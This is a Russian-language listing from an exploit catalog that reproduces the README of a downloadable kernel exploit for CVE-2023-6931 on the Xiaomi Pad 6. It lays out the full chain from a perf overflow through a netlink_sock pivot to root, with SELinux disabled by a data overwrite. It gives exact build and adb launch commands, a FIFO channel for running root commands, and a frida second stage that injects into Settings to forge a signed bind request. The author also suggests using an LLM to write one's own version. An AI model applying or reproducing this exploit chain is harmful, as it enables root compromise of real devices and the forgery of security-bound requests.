Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2023-6931-pipa — Эксплойт LPE ядра для CVE-2023-6931 на Xiaomi Pad 6 (pipa), использующий переполнение read_size в perf для получения root и отключающий SELinux через data-only повреждение sk_destruct в netlink_sock. | Kitploit
Инструменты/GitHubGitHub/yutori-natsu/cve-2023-6931-pipa
Безопасность AndroidПовышение привилегийКриминалистика памятиЭксплуатацияОбратная инженерияПост-эксплуатацияМобильная безопасностьРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubyutori-natsu/cve-2023-6931-pipa

cve-2023-6931-pipa

Эксплойт LPE ядра для CVE-2023-6931 на Xiaomi Pad 6 (pipa), использующий переполнение read_size в perf для получения root и отключающий SELinux через data-only повреждение sk_destruct в netlink_sock.

Репозиторий
1 день назадЕщё не проверено

CVE-2023-6931 — Xiaomi Pad 6 (pipa): повышение привилегий и отключение SELinux

Финальная версия эксплойта, использованная на устройстве, выделена в этот каталог.

Цель

root@kitploit:~
Устройство  Xiaomi Pad 6 / pipa / SM8250
Система     HyperOS OS2.0.20.0.UMZCNXM
Ядро        4.19.157-perf-g240e1d0a5f52
Точка входа adb shell (домен shell)
Результат   одноразовый uid0 + глобальный SELinux permissive (сбрасывается при перезагрузке)

Цепочка эксплуатации

См. заголовок файла exploit.c, краткое изложение ниже.

root@kitploit:~
1) perf group read_size overflow                -> примитив выхода за границы с самоинкрементом u64
2) самоинкремент victim netlink_sock->sk_destruct -> netlink_sock_destruct_work (+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
   -> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
   -> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) миграция стека в полезную нагрузку skb внутри fake (pt_regs1 @ +960, pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root

Отключение SELinux выполняется чистой перезаписью данных: fake+0x248 указывает на selinux_state, а atomic_dec в __sk_destruct уменьшает enforcing с 1 до 0 в младшем битовом сегменте этого слова.

Содержимое каталога

Сборка

root@kitploit:~
./build.sh                 # вывод в exploit в этом каталоге
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit

Запуск на устройстве

Командная строка, используемая скриптом-драйвером .project/scripts/drive_selinux_off.sh:

root@kitploit:~
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'

adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
  --selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
  > /data/local/tmp/run.out 2>&1 < /dev/null &'

Значение параметров:

root@kitploit:~
--selinux-off         отключить SELinux (путь чистой перезаписи данных), одновременно с подделкой cred
--layout-interleave   чередующая раскладка последовательности выделений, чтобы OOB-самоинкремент попал в sk_destruct целевого объекта
--tsec-sid 1          подделка sid/osid контекста безопасности cred (используется 1, когда реальный sid домена недоступен)
--alarm-us 5000000    самопробуждающийся ITIMER_REAL, зависшая попытка завершается через 5 секунд

Предварительные условия и ограничения запуска:

  • Домен shell имеет доступ к perf_event и netlink_route, домен приложения — нет, поэтому запускать необходимо из adb shell;
  • Каждые 8446 созданных sibling-событий исчерпывают perf_event_mlock_kb = 516, не запускайте повторно в рамках одной загрузки: если предыдущий экземпляр не завершился, события не освобождаются, и повторный запуск создаст лишь от 4000 до 6000 событий;
  • При необходимости очистите старый экземпляр через kill -9 и начните заново, иначе считайте, что на одну загрузку приходится одна результативная попытка;
  • После успеха процесс остаётся в pause(), root и permissive действуют только для текущей загрузки.
  • В том же фреймворке есть варианты с заменой первого/второго кадра на запись dload (--edl, --edl2) для детерминированного входа в EDL из root-окна; в этом каталоге приведена только финально использованная версия.

Две стадии и их стыковка

В этом каталоге только первая стадия. Вся цепочка фактически состоит из двух сегментов, точка стыковки — канал root-команд, оставленный первой стадией.

root@kitploit:~
Первая стадия   exploit_selinux8            повышение привилегий в ядре + отключение SELinux, затем остановка на канале root-команд
                результат: uid0 + permissive, канал = FIFO /data/local/tmp/root_in|root_out
                     (также абстрактные unix-сокеты rootshell / rootshell2 и режим --root-client PORT)
Вторая стадия   stage2-frida/               через указанный канал запускает frida-server от root, внедряется в Settings
                результат: сформированный и отправленный из процесса приложения запрос привязки (подпись TEE)

По завершении первой стадии в /data/local/tmp/root_proof.txt записывается ROOTSHELL_OK как подтверждение возможности выполнения команд. После этого любое root-действие с хост-машины — это запись одной строки команды в FIFO, например, строка запуска frida-server на второй стадии:

root@kitploit:~
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
  setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
  </dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"

runcon u:r:shell:s0 опускать нельзя: после отключения SELinux, если frida-server работает в домене kernel, он не получит Android Context, и PackageManager выбросит NPE.

stage2-frida/

Внешние зависимости (не входят в этот каталог): frida-server 16.7.19 (54 МБ, находится в .project/tools/ext/frida/fs16, префикс sha256 4eebf1fbc66ff54aba9a9124) и соответствующий python-клиент (.project/tools/ext/fridavenv16, frida 16.7.19). Используется 16.x, а не 17.x, потому что в agent из 17 нет Java bridge.

Полная цепочка вызовов оркестрируется .project/scripts/drive_selinux_off.sh: первое действие после попадания в root-окно — bash .project/scripts/exp_forge_send.sh, при получении code 0 цикл останавливается.

Замечания о воспроизводимости

exploit_selinux8 — это поставленный оригинал, контрольные суммы см. в SHA256SUMS. Пересборка из исходников этого каталога даёт другой бинарник:

root@kitploit:~
Пересборка из исходников этого каталога   1,853,744 B   f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
Пересборка из оригинальных исходников     1,853,752 B   96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
Фактически запускавшийся бинарник         1,853,720 B   279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a

Различия локализованы посимвольно, источник только один: в таблице аргументов командной строки появились два режима.

root@kitploit:~
--edl     кадр 2 вызывает __qcom_scm_set_dload_mode(dev, 1)
--edl2    кадр 2 напрямую пишет dload cookie

Иными словами, поставленный бинарник собран до добавления EDL-режима, а текущие исходники — после (из них собраны .project/work/exploit_edl1, exploit_edl2). Ветка EDL активируется только при передаче --edl или --edl2, edl_mode по умолчанию равен 0, единственная связанная строка в построении payload — edl_mode ? 1ULL : rt(OFF_INIT_CRED), поэтому при использовании финальной командной строки --selinux-off поведение обоих вариантов идентично. Различие представляет собой функциональное дополнение, а не исправление или изменение поведения; бинарник приложен как оригинал, исходники сохранены в полной версии.

Очистка комментариев

Обработка выполнена с помощью .project/tools/strip_dev_comments.py: удалено 124 блока комментариев процесса разработки (маркеры итераций версий, такие как v96, v127, а также отладочные формулировки на китайском вроде «старое значение/измерено/перезапуск/пропустить»), сохранено 313 структурных комментариев. Сравнение результата предобработки отличается только пустыми строками, токены кода полностью совпадают. В журналах выполнения по-прежнему присутствуют строки вывода с префиксом vNNN:, поскольку они являются выводом программы, а не комментариями.

my words

idk fr what files are really needed, if you want to you might very need a LLM to understand the whole exp and write yours.

Скачать инструмент
ФайлОписание
exploit.cИсходный код. Удалены комментарии процесса разработки, сохранены структурные комментарии: описание цепочки в заголовке файла, таблица смещений, раскладка структур
text_syms.hТаблица символов .text, сгенерированная из дампа kallsyms устройства, необходима для компиляции
ro_syms.hТо же самое, таблица символов данных только для чтения, необходима для компиляции
exploit_selinux8Бинарник, фактически запускавшийся на устройстве, идентичен тому, что используется в скрипте-драйвере
build.shСкрипт сборки
SHA256SUMSКонтрольные суммы перечисленных файлов
ФайлОписание
exp_forge_send.shОтправляет и запускает frida-server 16.7.19, проверяет, что Settings работает, получает pid, запускает agent
frida_run.pyОбёртка клиента frida, поддерживает прямое подключение через FRIDA_PID и самозапуск через FRIDA_SPAWN (в обход am/pm)
forge_send.jsВнутри процесса Settings копирует getNonce, подписывает applyBind по старому набору полей и отправляет
Сравниваемый параметрРезультат
Символы с отличающимся размером функцииТолько main (shipped 17,744 B, пересборка 18,004 B, разница 260 B ≈ 65 инструкций)
Остальные 1,503 функцииРазмеры полностью совпадают, без изменений
Символы, присутствующие только в пересборкеОдин — edl_mode
Таблица аргументов командной строкиshipped 85, пересборка 87, лишние — именно --edl и --edl2
Число инструкций всего сегмента .text126,533 и 126,597, разница 64 инструкции, что согласуется с различием в main